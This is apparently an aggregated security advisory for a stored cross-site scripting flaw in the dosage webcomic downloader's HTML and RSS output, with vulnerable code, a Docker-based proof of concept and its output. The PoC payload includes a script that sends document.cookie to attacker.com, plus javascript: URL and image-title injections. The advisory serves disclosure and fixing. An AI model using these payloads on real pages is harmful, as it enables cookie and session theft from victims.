# GHSA-75mw-h36v-2jv7: Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers

> Attackers can execute arbitrary JavaScript in a victim's browser by crafting malicious webcomic content that is rendered without escaping in generated HTML or RSS files.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Local or same network only
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 26 Jun 2026

## What is GHSA-75mw-h36v-2jv7?

GHSA-75mw-h36v-2jv7 is a cross-site scripting vulnerability in dosage, published on 26 Jun 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.

### Official description

## Summary

The HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.

**CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

---

## Details

### Vulnerable Code Locations

The vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping:

**1. RSSEventHandler (lines 116-118)**
```python
# events.py:116-118
if comic.text:
    description += '<br/>%s' % comic.text        # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl  # ← Unescaped URL
```

**2. HtmlEventHandler (lines 232, 238)**
```python
# events.py:232
self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl))  # ← Unescaped URL

# events.py:238
if text:
    self.html.write(u'<br/>%s\n' % text)  # ← Unescaped text
```

### Root Cause

- `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text
- The output handlers never call `html.escape()` before writing to files
- No sanitization of URLs or text content occurs anywhere in the output pipeline

### Data Flow

```
Malicious webcomic page
    ↓
textSearch XPath extracts content (e.g., img/@title, div text)
    ↓
BasicScraper.fetchText() calls html.unescape()
    ↓
comic.text stored without sanitization
    ↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
    ↓
Generated HTML/RSS contains executable JavaScript
```

---

## PoC

I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.

### Prerequisites
- Docker installed and running

### PoC Files

Create these files in a `poc/` directory:

**1. `poc/Dockerfile`**
```dockerfile
FROM python:3.11-slim

LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"

WORKDIR /app
COPY . /app

# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs

# Install dosage
ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .

CMD ["python", "poc/poc.py"]
```

**2. `poc/poc.py`**
```python
#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""

import sys
from pathlib import Path
from types import SimpleNamespace

from dosagelib.events import HtmlEventHandler, RSSEventHandler

# XSS payloads simulating malicious webcomic content
MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS_URL = "javascript:alert('XSS-via-URL')"

def check_vulnerability(content: str, marker: str, description: str) -> bool:
    """Check if unescaped marker appears in content."""
    if marker.lower() in content.lower():
        print(f"  [VULNERABLE] {description}")
        print(f"               Found unescaped: {marker}")
        return True
    print(f"  [SAFE] {description}")
    return False

def main():
    print("=" * 70)
    print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
    print("=" * 70)
    print()

    base = Path(__file__).parent / "output"
    base.mkdir(parents=True, exist_ok=True)

    # Create dummy image file
    img_path = base / "payload.png"
    img_path.write_bytes(b"\x89PNG\r\n\x1a\n")

    # Simulate comic with malicious content
    comic = SimpleNamespace(
        scraper=SimpleNamespace(name="MaliciousComic"),
        referrer=MALICIOUS_URL,
        text=MALICIOUS_TEXT,
        url="http://example.com/comic.png"
    )

    vulnerabilities_found = 0

    # Test RSS Handler
    print("[*] Testing RSSEventHandler...")
    rss_handler = RSSEventHandler(str(base), None, False)
    rss_handler.start()
    rss_handler.comicDownloaded(comic, str(img_path))
    rss_handler.end()
    
    rss_path = Path(rss_handler.rssfn)
    rss_content = rss_path.read_text(encoding="utf-8")
    print(f"    Output file: {rss_path}")
    
    if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"):
        vulnerabilities_found += 1

    # Test HTML Handler  
    print()
    print("[*] Testing HtmlEventHandler...")
    html_handler = HtmlEventHandler(str(base), None, False)
    html_handler.start()
    html_path = Path(html_handler.html.name)
    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)
    html_handler.end()

    html_content = html_path.read_text(encoding="utf-8")
    print(f"    Output file: {html_path}")
    
    if check_vulnerability(html_content, "<script>", "text param in HTML"):
        vulnerabilities_found += 1
    if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"):
        vulnerabilities_found += 1

    # Show vulnerable content
    print()
    print("-" * 70)
    print("Vulnerable Content in Generated HTML:")
    print("-" * 70)
    for line in html_content.splitlines():
        if "<script>" in line.lower() or "javascript:" in line.lower():
            print(f"  {line}")

    print()
    print("=" * 70)
    print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!")
    print("=" * 70)
    
    return 0 if vulnerabilities_found > 0 else 1

if __name__ == "__main__":
    sys.exit(main())
```

**3. `poc/run_poc.sh`**
```bash
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"

echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet

echo "[*] Running PoC..."
docker run --rm dosage-xss-poc

echo "[*] Cleanup: docker rmi dosage-xss-poc"
```

### Running the PoC

```bash
cd /path/to/dosage
chmod +x poc/run_poc.sh
./poc/run_poc.sh
```

### PoC Output

```
======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================

[*] Testing RSSEventHandler...
    Output file: /app/poc/output/dailydose.rss
  [VULNERABLE] pageUrl in RSS href
               Found unescaped: javascript:

[*] Testing HtmlEventHandler...
    Output file: /app/poc/output/html/comics-20251210.html
  [VULNERABLE] text param in HTML
               Found unescaped: <script>
  [VULNERABLE] pageUrl in HTML link
               Found unescaped: javascript:

----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
  <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
  <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>

======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================
```

The output shows that:
1. The `javascript:` URL is written directly into `<a href>` attributes
2. The `<script>` tag from comic text appears unescaped in the HTML body

---

## Impact

### Who is affected?
- Users who use `dosage --output html` or `dosage --output rss` options
- Anyone who opens the generated HTML/RSS files in a browser

### Attack scenario
1. Attacker creates or compromises a webcomic site
2. Attacker injects JavaScript into image title/alt attributes:
   ```html
   <img src="comic.png" title="Funny!<script>alert(1)</script>">
   ```
3. Victim runs: `dosage MaliciousComic --output html`
4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script
5. When victim opens the file, JavaScript executes

### Potential consequences
- **Cookie theft** if files ar

## Which versions are affected by GHSA-75mw-h36v-2jv7?

2 open source packages ship an affected version, including dosage.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `dosage` | PyPI | All versions | 3.3 |
| `dosage` | PyPI | All versions | 3.3 |

## How do I fix GHSA-75mw-h36v-2jv7?

Upgrade dosage to 3.3 or later.

## Is GHSA-75mw-h36v-2jv7 being exploited?

There is no known exploitation of GHSA-75mw-h36v-2jv7 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-75mw-h36v-2jv7 and fix it if it is affected.

What it is: GHSA-75mw-h36v-2jv7 is a cross-site scripting vulnerability in dosage, published on 26 Jun 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-75mw-h36v-2jv7 in the wild and no public exploit code.

Affected packages and fixed versions:
- dosage (PyPI): affected all versions; fixed in 3.3
- dosage (PyPI): affected all versions; fixed in 3.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/ (Markdown: https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-75mw-h36v-2jv7

---
From sbomify Insights: https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/
Summaries are generated and may contain mistakes; the official description above is the record.